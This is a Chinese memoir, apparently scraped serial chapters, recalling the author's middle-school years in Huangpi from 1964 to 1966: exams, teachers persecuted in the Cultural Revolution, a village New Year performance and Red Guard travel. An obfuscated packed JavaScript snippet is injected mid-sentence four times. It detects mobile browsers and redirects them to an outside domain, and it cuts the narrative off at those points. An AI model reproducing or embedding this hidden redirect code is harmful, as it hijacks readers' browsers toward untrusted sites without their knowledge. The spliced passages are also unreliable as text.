1964年的夏天,片片正在吐穗的麦田里弥漫着清香。在麦田间的小路上,行走着有一群跳跳蹦蹦说说笑笑的少年。他们是赶往镇里的中学参加小学升学考试的。 我,就是这其中的一个。 头一天下午,学校校长召集我们几个成绩较好的学生在办公室座谈。 校长告诉我们,本县有三十几个初中,其中有两个重点初中,一个是县一中,一个是县十中。他说县一中当然不错,但十中的师资力量比一中还要好。 我们当时不理解,为什么在县城里的一中的师资力量还比不上位于一个镇上的十中,后来,到了学校就理解了。 校长鼓动我们几个都报十中,于是我们就都填报了考十中的志愿。 天没亮父亲就起床,特地为我做了两个“火赤粑”,这“火赤粑”是麻城地区的特色小吃,我父亲做得特别好,我特别爱吃。 天刚蒙蒙亮,我就穿上妈妈亲手纺线织布缝制的土布衣,穿着妈妈亲手做的土布鞋,带上火赤粑和文具,早早地跑到学校集合。 校长给我们作了激情扬溢的考前动员报告后,班主任何老师就带领我们出发了。 一路上何老师都在激励我们,一定要考上重点初中,将来上重点高中,然后上名牌大学,然后成为治国平天下的栋梁之才。一个读书人,从小就要“立大志,吃大苦,干大事,成大业”。 何老师还教过我们的历史课,他说:“人生自古谁无死,留取丹心照汗青。如果能建立丰功伟绩,就能名载史册,留芳千古,这样才算是不白来这世上一回。” 何老师的话深深放刻印在我的心中,成了我发奋读书的动力,也解开我了四、五岁时就藏在心中的疑团:人为什么而活着? 上午考语文,作文题是《丰收在望》,感觉自己写的还不错。 还记得这篇作文的结尾,我是这样写的:“太阳落在西山上,就像盛开的一朵丰收的花儿,那么火红!那么艳丽!” 下午考算术,我抢交了头卷,提前跑出了考场。 题目比较简单,我以为都做对了,结果,有两道题出了问题。 有一道应用题,算式列对了,最后一道运算错了:1除以1,等于0了。 第二道题,是给一个房间做粉刷,已知房间的长宽高、门窗的长宽高以及每平方米用多少白石灰,求粉刷这个房间需用多少石灰,结果我天花板也算在粉刷内了。考完后和我一位最亲密的同学古春福讨论,他说我做错了,房子没有天花板。我说题目里没说清楚。要是农村的房子,就没有天花板,要是城填里的房子,就有天花板。我下放前在城里住的房子就有天花板,回乡下住的房子就没有天花板。 等考试结果的那些天,心里很焦急,做错了两道算术题,还能考上重点初中吗? 一天中午,我正在家里看书,有人敲门,我开门一看,是何老师,他亲自给我送来了入学通知书。他兴奋地对我说:“你考上十中了!我们班有五位同学考上了十中,还有十几位同学考上了其他初中。这是我们学校建校以来最好的成绩。” 1964年9月5日清晨,父亲送我上学,同行的还有一起考上的同学古文广和他的父亲。 两位父亲挑着担子在前面走,两个儿子蹦蹦跳跳地跟在后面。父亲的担子里挑着被子、箱子、米和盐菜。 从老家会龙山到黄陂十中所在地十指店,有两条路可走:一条是途经桃园店和许家桥到十指店,一条是途经蔡家榨和十指铺到十指店。 两条路都差不多有25里山路,每周走一个来回。12岁的孩子走这么远的路,还是有些累的,有几次都走哭了。 第一次走好像还不觉得怎么累,大约上午11点钟到的学校。两位父亲为我们办理了入学手续就回家了,连中饭也没吃。 傍晚时,我们在学校操场边看老师们打篮球。古文广长这么大没见过电灯,突然提出要到十字店去看电灯。 我说晚上学校电灯就亮了,不必到十字店去看,但他非要去,这引得老师和同学们很笑话了一阵子。 我们小学的几个同学,我和古春福、古文广、张才喻都分到了三班,只有古水清分到了二班。 我们的班主任竟然和我同名,姓蔡很年轻、很帅气,对我们几个小个子同学很关心。全班共有52名学生,其中只有三个女生,大多来自黄陂东乡和黄陂城关镇。 我是班上个子最矮的了,入学后第一次体检,我的身高只有1.39米。 我们黄陂十中的校园是开放性的,没有围墙。地形是东边高,西边低。东边坐北朝南四排校舍,前两排是教室,第三排是校务办公室、教务办公室、教师办公室和图书室,第四排是教师宿舍和教工小食堂。 西边坐北朝南也是四排校舍,第一、二排是男生宿舍,第三排是女生宿舍,第四排是伙房,不能称做食堂,因为没有饭堂,我们吃饭是在宿舍里。 每天我们把自带的饭钵里放上米,统一装在一个大木箱里,由个子大的同学抬到伙房里去蒸,蒸熟了又由他们抬到宿舍里来。 菜则是同学们从家里带来的,同学们带的一般都是盐菜,一钵盐菜吃一个星期。 有时周六周日不能回家,那就上十字店街上去买豆瓣酱,一斤豆瓣酱一角六分,我经常是买半斤,吃一周。 吃到周三时便长了蛆,我用筷子把蛆夹起来丢掉,还把蛆身上粘的酱刮下来,这样还可以对付三天。 学校中间坐西朝东的房子是礼堂,礼堂前面有个小小的舞台,那是开大会时学校领导们坐的。 礼堂里有两个乒乓台,那是我们常常在课间抢占的战场。 教室的前面是运动场,有两个篮球架,也是我们经常抢占的战场。 有一次,我们几个小子同学先来,正打得起劲,班上的大个子同学来了,要我们让,我们不让。 大个子同学中有一个叫傅细玉的同学,他对我说:“古之华,你让不让?” 我说:“我们先来的,为什么要让?不让!” 他说:“你让不让?你再不让,我把你们拈到一边去!” 啊!这个“拈字用得太贴切了!他没用“拖”、“拉”、“拽”,而是用了个“拈”字。 我说:“你这个词用得太妙了,我让,我让。” 操场西边坡下是一大块菜地,这里种的菜是用来改善同学们伙食的。 我记得,种得较多的是白菜和竹叶菜,炒好的菜由生活委员用筷子分发,一个同学夹一筷子菜,这对于我们来说那可真是美食啊!当时觉得这是世界上最美的菜品了。 我们小学的校长说得的确不错,黄陂十中师资队伍真的很强大,可以说,比现在的任何一个重点初中要强很多。 我们这个学校的老师很特别,大多出身和经历都不一般。其中有国军中将的儿子,有毕业于黄埔军校的国民党军的起义将领,有国民党高官的大小姐,有海军的翻译官,还有几位是带着□□帽子从名牌大学毕业曾在高等学校任教的老师。 教过我们的老师,大约有十几位。 教过我们语文的老师有5位,最先教我们的是一个方老师,名字忘记了,记得上《落花生》一课,他让我读课文,我用带着浓重的黄陂东乡方言大声读了一次,因为很流利,且没读错一个字,他大大地表扬了我。 第二位是王老师,也只教了几周。 教得最长印象最深的是许老师和宋老师。 许老师是武汉大学中文系毕业的高材生有一次写作文,我写了一篇散文《雪》,许老师给我打了95分,还在班上讲评了这篇作文,上课前许老师把我叫到办公室,问我是不是抄的,我说不是,她才在课堂上作讲评。许老师的这次讲评,给了我很大的鼓励。 宋老师教我们时,他要我们练小字,抄课文。我觉得抄课文没意思,就胡乱写诗,其实只能算顺口溜。有五言的,有七言的,大多是模仿我在小说中看到的诗。 有一天晚自习时,宋老师叫我到办公室去,我跟在他后面走得很慢,到了办公室门口,听到里面的老师们都在笑。 有位老师说:“看看写这些东西的是个什么样的学生。” 我站在门口听到这话,就不敢进去。 这时宋老师把我引进了办公室,我尴尬极了。 一位老师笑着对我说:“你一个十二三岁的小孩,懂什么情呀爱的?” 我说:“抄课文没意思,我就瞎写着玩的。” 还有一位教过我们语文的老师是教导处肖主任,他毕业于大学哲学系。那是在□□后期复课闹革命,没有语文教材,肖主任代我们语文课,教的是诗词。 当时的数学课分为代数和几何两门,教我们代数的是吴老师,他的帽子是“极右份子”,被称为黄陂县的“数学大王”。 吴老师的课非常精彩!到现在同学们都清楚地记得他上第一堂课时的情境。 他用抑扬顿挫的声调讲道:“算术是代数的基础,代数是算术的发展。”他给我们讲学好代数的意义。 为了提高同学们学习数学的兴趣,他组织了“数学兴趣小组”。记得我们班当时有几位同学参加了,现在只记得有段帮林和古春福和我。讲的内容大概就是和现在数学奥赛差不多的东西。 记得他给我推荐了一套华罗庚写的数学小丛书,一共有十本,只记得第十本书名是《神机妙算》,书都很薄,我很快就看完了。 我还书时请他再给我推荐这样的书,他说,学校图书室没有这样的书了。 他前半节课讲概念定理和例题,后半节课是巩固练习,经常是让同学们到黑板上去做题。 我一般是听完前半节课就开始偷偷看小说,我的课桌桌面上本来就有一个小洞,我用小刀把这个小洞搞大,把书放在下面,从小洞里看小说。 吴老师发现了我这个秘密。 于是,有一次,在课堂上,我正在低头看小说,他突然点我到黑板上去做题。我放下书,走上讲台,把题目看了一下,很快就做出来了。 吴老师笑着对我说:“我知道你在看小说,点你上来做题,本来是想出你的洋像,没想到你还做对了,我还说什么好呢?” 吴老师真宽容! 课后我找吴老师说,这册代数我已经自学完了,能不能给我找些有难题的书。 他说,对于你,没有难题了,好好学,将来向数学方面发展。 记得1978年暑假,我在黄陂街上遇上吴老师,他背着几节烟筒,说是要把家里的烟筒换一下。 我向吴老师汇报了我毕业后的情况。 当他知道我考上了大学中文系时,皱着眉头说:“你上什么中文系呢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915219|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么不上数学系呢?可惜!” 吴老师在□□中受到不公正待遇,挨过批斗,下放到乡下去了,当时的处境看得出来不大好。 离开时,看着吴老师远去的背影,回想着当年吴老师教导我的情境,我的泪下来了。 大约是1998年暑假,我又见到了吴老师,他当时已经平反了,在城关中学教书,他交给我一份书稿,是专门讨论不等式的专著,想托我找出版社出版。 我把书交给一个出版发行公司,我想,这家出版公司是靠出版我主编的书起家的,他们一定会帮这个忙。 谁知最后书还是没有出版成,想起来,真是对不起恩师,心里一直很愧疚。 我的几何老师姓韩,听说他上过军校,曾经是个军官。我的几何成绩特别好,无论大考小考,都是一百分。 有一次期中考试,其他的同学期中考后去学校农场劳动去了,他留下我帮他改试卷。 当改到我的试卷时,他指着我的试卷对我说:“这一次你得不了一百分了。” “不会呀!我觉得所有的题都做对了。”我有点不服气。 “题是都做对了,可是这里掉了一个反括号,我要扣你一分。” “别呀别呀!我前面的数学考试都是一百分,如果这次扣一分,就打破记录了。那以后——” “数学是非常严谨的学问,答题规范很重要,出不得半点差错。这次就不扣你的分了,以后要特别注意这些细节!” “谢谢老师!谢谢老师!”我红着脸连连说。 “不过,你要记住,你这次的一百分可是有水份的啊!”韩老师笑着对我说。 “这次的一百分可是有水份的!”这句话我记了一辈子,也警戒了我一辈子。后来,这件事我对我的学生也不知道说了多少次。 韩老师不仅数学教得好,而且有很高的音乐造诣。 他不仅是我的几何老师,也是我的音乐启蒙老师,他教我识简谱和五线谱,教我弹钢琴。 常用常是下午课外活动时,他就把我带到学校唯一的一间钢琴房,教我识谱弹钢琴。 在生活上,他也很关心我,他听说我没菜吃,还吃长了蛆的豆酱,就送给我红方腐乳。 至今我还爱吃红方腐乳,每当吃这红方腐乳时,就感到有一股别样的香味。 韩老师的书法也有很高的造诣,我在学校主编的文学小报的报头刊名也是他题写的。 我的两位外语老师的出身经历也很不一般。 一位是李老师,他就是那位国军中将的儿子,但他又是参加过上甘岭战役的志愿军战斗英雄。 他是因眼睛爱伤而退役当老师的。上甘岭战役时,美军掌握了战场的制空权,一直轰炸志愿军的后勤补给线。 李老师所在的汽车运输队在向上甘岭运送炮弹时,被美军轰炸,15辆运炮弹的汽车被炸毁了14辆,仅有赵老师开的这辆汽车运到了前线。 但就在离目的地不远的地方,他的车也被炸了。战士们在抢运车上的炮弹时,李老师的眼睛被炸伤了。 李老师因残退伍后,就做了老师。 另一位外语老师则是那位曾经是海军的翻译官,他姓卢,广东人。 印象最深的是在我们毕业离校的时候。我清楚地记得,那是1968年12月20日。 那一天,学校里只有不到十位老师,其中就有韩老师和卢老师,而学生只有我一个。 “农村是个广阔的天地,知识青年到农村去,到那里去是大有作为的。”在这样的口号下,同学们都回家了。 我却依依难舍,不想离开学校。不能上学读书了,幼时的志向都要落空了,我好不甘心! 就这么走了,连毕业证都没有,万一将来恢复高中招生了,没有初中毕业证怎么办? 于是,我就在教导处找到了空白的毕业证,请韩老师帮忙填写姓名,我盖上学校的公章。 忙了一天,把全年级同学的毕业证搞好了,我才收拾行李准备回家。 我一个人挑着行李准备回家时,卢老师正在长满荒草的校园里踱步。 “古之华,你怎么现在才回家呀?”他看我,走过来对我说。 “我舍不得离开学校。”我低声说。 “先回去吧,说不定哪一天又能上学了。”他明明是在安慰我。 “我们学生都走了,你们老师也没书教了,老师你今后干什么呢?” “我相信,在这个世界上,老师是不会失业的。”卢老师眼睛望着远处,又像是回答我又像是自言自语地说。 教我们历史的是马老师,他上课就像说评书。 我是历史科代表,他让我把课本上的内容读一次,课本就放一边了,也不让我们去背记课本上的知识点。 他主要讲朝代兴亡的故事,讲得生动有趣,我们都听得入迷。 因为他讲课像讲评书,深受同学们欢迎,他就在下午课外活动时给我们讲评书。 记得他讲的是《战斗在敌人心脏》,来听他讲评书的学生很多,别的兴趣小组的同学也被吸引过来了,以致操场上打球的人都没有了。 有几个老师我不大喜欢,他们是运动的积极分子,揭发批判其他老师很上劲,全不念同事之情。 还有一位老师更可恶,竟然性侵学生,被公安局逮捕了,判了7年。 15. 第 15 章 二 如果说世界上真的有天堂,我认为那一定是学堂的模样!现在回想起来,这一辈子最快乐的时光,就是在初中读书的这段时光。 初中生活的点点滴滴,总是像电视连续剧一样在脑海里回放。 清晨,校园大喇叭响起雄壮的《骑兵进行曲》,同学们就向操场上跑去,列好队,做广播体操。 做完操就上早自习,校园里书声朗朗。 校园铃声一响,吃早饭了。吃完早饭开始上课,同学们在课堂上如饥似渴地吸收着知识的营养。 中饭后是午睡时间,可是我从来就没睡过午睡。从小学一年级一直到初中,我从来都没睡过午睡,没有睡午睡的习惯。 午睡时,我就到教室里去看书,没办法啊!我在白天总是毫无睡意,怎么也睡不着的。老师拿我没办法,也就默许了。 可能是遗传吧,后来我女儿和我儿子都不睡午睡。儿子因为在幼儿园不睡午睡,上了一星期就被幼儿园退回家了。 课间和下午课外活动时间,就是我们打乒乓球和打篮球的时间。班级之间经常举行球赛。 我们学校的乒乓球队很厉害,是全县的冠军,我的同桌粟生还是县乒乓球赛亚军呢。 我们学校老师篮球队也很厉害,打遍全县无敌手。 学校的课余活动也很丰富,学校有合唱队,文艺宣传队,有各种各样的兴趣小组,如数学兴趣小组,文学兴趣小组,物理兴趣小组、音乐兴趣小组、画画兴趣小组、棋类兴趣小组等。 我们班里的同学,人人都参加兴趣小组的活动。 学校还经常组织文艺晚会,节目是多姿多彩的。班上大部分同学都会拉二胡、吹笛子、唱歌、跳舞,多才多艺。 拉二胡、吹笛子、弹琴、唱歌、跳舞,下围棋,我都会一点,都是在那时学的。 我还编过一个小话剧,在文艺晚会上演出。 记得那话剧名叫《狗咬狗》,演的是美国鬼子和越南伪军自相打斗的故事。同学韩金益演美国鬼子,他用纸做了个大鼻子。同学王新元演越南伪军。他俩很会表演,逗得同学们捧腹大笑。 还真巧,韩金益现在就住在美国,还拿了美国绿卡。 当时的学校教育比现在好多了,真正是德智体美劳全面发发展。 同学们都爱学习,爱劳动,喜欢体育运动。 我们全班52名同学,只有一个戴眼镜的,叫韩光权,还是先天近视眼,其他的同学视力都非常好。 同学之间相处得都很好,都是互相关爱,互相帮助。 我年纪小,个子小,同学们都处处照顾我。 劳动的时候,个子大的同学都抢着干重活,如挑水浇菜园,抬大饭箱等。 大个子同学还救过小个子同学的命呢。 有一天下午,我和黄爱谋、孙厚琼、姚友昌、古春福等几个同学到学校旁边的水塘边洗衣服。 黄爱谋同学脱下衣服到水塘里游泳,他自夸会潜泳,能在水下呆很长时间,于是他就开始表演潜水。 他一下子扎进水里,我们几个就开始记时间。 黄爱谋扎进水里好长时间了,我们几个都非常佩服,在水塘边大声赞扬。 孙厚琼声音最大:“好厉害!好厉害!” 这时,塘边来了一个大个子同学,是高我们一级的邓宝林同学。他听见孙厚琼同学的赞扬声,就问:“什么好厉害?” “黄爱谋好厉害!”孙厚琼说。 我们几个也在旁边赞叹不已。 邓宝林同学年纪大一些,个子也很高大,他见识也比我们强。 他听我们一说,急忙放下洗衣服的盆子,脱下鞋子,跳进水塘里。 他一下子就把黄爱谋从水中捞出来了。 我们几个上前一看,都吓得大叫起来了,黄爱谋没有呼吸了。 我急忙往学校跑,在操场上找到正在打篮球的班主任蔡老师。他听我一说,也吓坏了,急忙往水塘跑。和他一起打球的李老师也跟着一起跑。 到了水塘边,蔡老师和李老师立即抬起黄爱谋就往学校跑,我们几个同学也跟着跑。 蔡老师和李老师把黄爱谋抬到礼堂边的乒乓球台上,就开始做人工呼吸。 蔡老师和李老师轮换着不停地做人工呼吸,我一直按着黄爱谋的脚,旁边围满了人。 记不清多长时间了,只觉得好久好久。黄爱谋终于有呼吸了,他终于得救了,好危险啊! 后来,黄爱谋同学参军了,还上了军医大学,当了医生。 退休后,我们经常见面。他曾多次打听救过他的命的恩人邓宝林,想好好报答,不幸的是,邓宝林已经去世了。 我曾搞过一次恶作剧,一直很羞愧,觉得对不起教外语的李老师。 一天下午,我和孙厚琼、段汉彬、段帮林、姚友昌等几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915220|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同学想学骑自行车,就去找李老师借自行车。 另一个同学王治平也去找李老师借自行车,王治平想回家一趟。 李老师不借给我们,他把自行车借给王治平了。 我很生气,就想到了一个“坏主意”。 我们几个同学到学校旁边的一个单位的门房,我让段汉彬用普通话给学校打电话,指名要李老师接电话。 段汉彬按照我设计的话说:“喂!是黄陂十中李老师吗?” “是啊!我就是。” “你们学校是不是有个学生叫王治平?” “有啊,怎么?有什么事吗?” “他是不是骑自行车回家?” “是啊,他从我这里借的自行车。” “你们快点来,出事了,他被汽车撞了,伤得很重。” 打完电话,我们就站在一个高坡上看热闹。 只见从学校里跑出来一群人,跑在最前面的就是李老师,他们急匆匆地往十仔铺的方向跑。 我们学校离十仔铺有八里路,李老带着一群人白跑了一个来回,累得大汗淋漓。 不知道是我搞的鬼。真对不起李老师! 现在学校考试多,很多学生都怕考试,而我们当时考试少,同学们都不怕考试。 我甚至特别喜欢考试,盼望考试。 我喜欢考试是有原因的。我年纪小,个子又最小,体育活动中我是最弱势的,劳动中我也是最弱势的。 当时我也很爱面子,也想出风头,那就全指望考试了。 当时虽然不搞排名,但成绩还是要公布的。 老师念分数的时候就是我最得意最享受的时候了。 这个时候,老师和同学们的目光才会聚焦到我身上了。 我们的初中生活比较清苦,但我们一点也不觉得苦,同学们都志存高远,发奋读书,觉得校园处处都充满诗情画意。 记得初一时的国庆节,我和同学古春福和孙厚琼同学一起登黄陂双凤亭。 面对亭秀青山,帆点绿水,三个人都吟诗抒怀明志。 他俩的诗我已经记不起来了,但我的诗记在日记里,还记得: 山青托玉宇,帆白乘东风。 吴楚多才俊,尽在山水中。 初中时很喜欢古体诗,于是就学着写,都写在日记本里。可惜我的日记本丢失了不少,初中时的日记本全丢失了。 16. 第 16 章 三 1966年的年末,放寒假了,我回家过年。 当时乡村的年味非常浓。过了腊八节就是年了,家家户户打豆丝、打糍粑。 在我们那个地方,糍粑是非常重要的年货。 到亲友家拜年,必须带上糍粑,这是最重要的礼品。亲友招待来拜年的客人,也必须用糍粑。 小时候最喜欢看大人们打糍粑。 把蒸熟的糯米饭倒进碓臼里,四个人一人拿一根木棍,有节奏地往碓臼里杵打。 打好了,再用雕花的印盒把糍粑印成一块块正方形的糍粑。凉干后,再放到水缸里浸起来。 “豆丝煮糍粑”,是我们这个地方的传统美食,从过年一直要吃到麦熟季节。 春节期间,最热闹的是划彩莲船。 鄂东地区,玩龙灯是春节期间最重要的民俗活动。 六十年代,破除封建迷信,不准玩龙灯了,才改为划彩莲船。 据村里的老人说,我们古家田的龙灯很威风,两条大灯,四条滚龙,十几面龙凤旗。 正月十四开光,在村里玩,说沿门彩。就是各家各户都在门前摆香案,龙灯队到了门前,说彩的人手托香盘,说一些吉利的彩头辞。 正月十五开始到周围的村子里去玩龙灯,说彩,各村都会摆香案,放鞭炮,热烈欢迎。 一直要玩到正月十六深夜。 只划彩莲船,有些单调,于是,也编排一些文艺节日。 我回村时,村里正在筹备划彩莲船的事。 我在学校学到的一些文艺方面的本领就用上了。 我主持排练了十几个文艺节目。 我根据歌曲《想起往日苦》编了一个小街头剧。 赌博爹的儿子汉华叔演老婆婆,一个叫望珍的小女孩演剧中的小女孩,顺林叔演地主,细苕货演狗腿子。 他们演得很像模像样,这个节目非常受欢迎。 我教翠香姐唱一段湖北大鼓,她也唱得非常好。 我还排演了一个舞蹈《社员都是向阳花》。 六个大姑娘,都是20岁左右,身材都比我高很多。 我当时还没满14岁,身高也不到位1.5米。 教她们舞蹈动作可费劲了,我要踮起脚来纠正她们手臂的动作。 我把在学校编演的小话剧《狗咬狗》也用上了。 我让德清叔演美国鬼子,让望坤叔演越南伪军。 其中有个情节,德清叔拿着木头做的步枪向望坤叔一指,口里模仿枪声声:“ 叭!”望坤叔模仿中弹,仰面倒在地上。 这个节目特别受欢迎,尤其受小孩子们的欢迎,每到演这个节目的时候,观众们都欢声雷动。 文艺节目都准备得差不多了,彩莲船有了问题。 按我们那个地方的习俗,坐彩莲船的必须是村里的新媳妇,而我们村这两年没有新媳妇。 村里人一商量,说我长得像姑娘,就要我来假扮一个新媳妇。推脱不了,我只好答应了。 我们的演出正月初一就开始了,因为很受欢迎,结果这一年一直演到正月十六。我正月十七才去上学。 要开演了,我在房间里开始化妆了。 抹上胭脂,点上口红,画了眉毛,用一个花头巾包在头上,穿上大红在缎子袄和大红的绸子裤。 我一出房门,村里人就欢呼起来了:“好漂亮的新媳妇啊!” 在本村演出还好,到外村我就难堪极了。 文艺节目演完了,最后就是划彩莲船了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915221|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >锣鼓一响,开始划了。 划彩莲船的是顺林叔,他拿着一根竹竿划,我就提着彩莲船跟着跑。 跑一圈,他就开始唱,他唱的时候,我还要跟着节奏摇动彩莲船。 “彩莲船嘛——”他唱。 “哟哟!”旁边的人接唱。 “竹篙子撑啰——”他又唱。 “哟呵嗨” 旁边的人又接唱。 “来到贵府嘛——”他又唱。 “呀喂儿哟。” 旁边的人又接唱。 “贺新春啦——”他又唱。 “划着!”旁边的人又接唱。 这一节唱完了,顺林叔把竹竿一举,开始划。我又提着彩莲船跟着跑。 跑完了一圈又开始唱。 唱词都是现场编的,唱多久?要看这村里鞭炮放多久,鞭炮不停,彩莲船就不能停。 我停下来摇船的时候,就有人拿手电筒往彩莲船里照。 他们都想看看彩莲船里面的新媳妇。 “啊!好漂亮的新媳妇!” “真像仙女下凡啊!” “快看快看,好漂亮啊!” 听到处面的嘁叫声,我难堪极了。为了不影响演出,我强忍着。 演了几个村子,几个村子都这样。 我实在忍不下去了。 在红安县的一个村子划彩莲船时,又有人拿手电筒照我。 我提起彩莲船跳了起来,连连地跳了几下。 周围的观众都愣了:这新媳妇怎么啦? 顺林叔为我解围了,他对大伙说:“别照了,这里面的新媳妇是假的,是一个男孩子装的。” 现在又允许玩龙灯了,每年正月十五,如果没有特别的事,我都会驾车回老家,追着看龙灯。 17. 第 17 章 四 1966年6月,一场席卷全国的暴风雨就来了。 四清工作队进校了。校长、书记、主任都被批斗了,好几个老师也被批斗了。 那几个出身和经历都很特别的老师被批斗得最厉害。 吴老师是“极右份子”,还被戴上高高的白纸做的帽子站在台上接受批斗,后来就被开除公职,打发回了老家。 李老师因为出身问题被抄家,从他家里抄出来他父亲身着戎装、腰配中正剑的照片,被打成□□份子,不知送到什么地方去了。 教我语文的许老师,因为她是国民党高官家的大小姐,也被批斗得很厉害,后来也发配到一个山区小学去了。 教我几何的韩老师和教我外语的卢老师,也受到了批判,处分不算太重,只是调离了我们学校,到别的普遍中学教书去了。 最惨的是教我们历史课的马老师,进了牢房,听说是判了七年。 当然,改革开放后,这些老师都平反复职了。 2008年,教我们语文的许老师从西安来武汉看望老同事,我趁这个机会,在我创办的一所民办学校旁边的一家酒店里,宴请了初中时的老师,这才得知了老师们的近况。 他们都退休了,生活状况也都很好。 许老师是西安音乐学院的教授;马老师在某老年大学教古体诗词写作;李老师是武汉某重点高中的老师;吴老师在武汉某重点初中教数学;卢老师广东某高校任教。 遗憾的是,我的恩师,教我数学又教我音乐的韩老师不幸因病去世了。 批了一阵子校领导和老师,后来就搞到学生们头上了。 家庭成份不是贫下中农的,家里父母有历史问题的,被划入“黑五类”子女。 我家的成份是“商人在乡土地”,我当然就划入“黑五类”子女了。 不久就是大串联,到北京受伟大领袖接见。学校新的领导规定,“黑五类”子女没资格参加大串联,没资格去北京受伟大领袖接见。 其他的同学都大串联去了,我们这些人就留在学校搞政治学习。 直到12月份,学校领导突然又同意我们这些人去串联了。每个还人发了30斤全国粮票。 我高高兴兴地回家作准备。父亲搞来了十元钱,母亲用针线把这十元钱缝在我的上衣口袋里,说是外面小偷多,别给偷了。 母亲还为我准备了洗漱用品和被子。我带上这些东西赶到学校集合,连夜就出发了。 我们一行人在夜里步行了四十多里,来到一个小火车站。只见这小小的火车站挤满了人。 来了一辆火车,人们就拼命往上挤。来了好几辆火车我们都没挤上去。 后来,我是从车窗口爬进去的。爬进去后,脚落不了地,脚下面都是人。 火车走了好久我的脚才落到车厢的地面。我个子小,就在人缝里被人夹着。 直到深夜,好不容易车到了汉口火车站。一辆解放牌大卡车把我们接到了□□接待站。 接待我们这些还没参加□□组织的是位于汉口解放大道上解放大楼旁边的“武汉卫生学校□□接待站”。 这里的人太多了,住不下,我们十几个人就转到离此处不远的同济医学院的“□□接待站”去了。 接待我们住的宿舍是一间大教室,里面铺满了稻草,我把被子往稻草上一铺,就算安营扎寨了。 住的解决了,吃的呢? 同室的是来自河南的二十几个学生,他们已经住了半个月了。 他们告诉我,这里的伙食很好,还不用交钱交粮票,可以借就餐票。 于是,我就去找接待站的服务人员,果然借到了就餐票。 我在这里住了二十多天,没花一分钱,也没用一两粮票。 吃的真还不错,早上是大白馒头和大米粥,菜就是盐萝卜。中晚餐的菜不错,有萝卜烧肉,大白菜烧肉,大米饭随便吃,不限量。 出门坐车坐船都不要钱,只要有□□串联证就行。 我们几个商量,就在街上找人刻了个“黄陂十中□□司令部”的公章,每人写了一个盖上这个章子的大串联介绍信。 于是在全国串联就畅通无阻了。 我是第一次到武汉,就想趁这个机会好好了解一下武汉这个城市。 于是,先把所有的公交车都坐一遍。 从一路公汽坐起,都是从起点坐到终点,顺着路线玩,整个城市看了个遍。 然后是参观所有的大学,看大学校园的风景,看校园里的大字报。 最感兴趣的是武汉大学、华中工学院和华中师范学院。 然后是游览武汉的风景名胜,游东湖,登行吟阁,游归元寺,游宝通寺,游古琴台遗址,游龟山,游蛇山,当时黄鹤楼还没有重建,就在长江大桥是走一趟。玩得开心极了! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915222|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >听说伟大领袖在12月26日第八次接见□□,我提仪马上出发。那天是24号,说不定还赶得上。 其他的同学都说这时北京太冷了,我们带的衣服难以防寒,都不去,只有和我同岁的同学于会明愿意和我一起去。 在学校,同学们大都是50年出生的,而我们俩是1952年出生的,年纪最小,感情也较好。 决定了就马上行动。 这时已经是大串联的尾期了,中央规定,参加大串联的学生,只能领返程的火车票。 所以,我俩在火车站领不到去北京的火车票了,怎么办? 我灵机一动,就在火车站打听,有没有返程回北京的学生。 功夫不负有心人,我找到了两个河北丰润县一中的学生。 我俩用他们的大串联介绍信在汉口火车站领到了两张去北京的火车票。 上车了,火车载着我们向北京飞驰。马上可以看到天安门了,兴奋极了! 车到河南洛河,不知怎么就停了下来。 车上基本上都是来自全国各地的学生。 我们这个车箱里有一群某音乐学院的大学生。 车停的这段时间,他们为大家演唱歌曲。 印象最深的是一位男高音,他唱了一首《黄河颂》,那歌声高亢浑厚,激昂澎湃,十分动听。 到中午了,车上的广播播送出北京天安门广场伟大领袖接见□□的实况。遗憾啊!我还是没赶上啊! 火车到了北京火车站。 一出站,同学于会明就要回武汉,北京太冷了,我们穿的衣服太单薄了。 我不想马上就回去,想在北京玩几天,而他坚决要回去,于是两人就争吵起来。 一是我也觉得太冷了,二是他回武汉的态度坚决,结果,我们就到售票窗口,用串联证领了两张回武汉的火车票,上火车回武汉了。 上车后,我们两人各坐车箱一端,互不答理。 一直到下车,没说一句话,下车就各走各的,回家了。 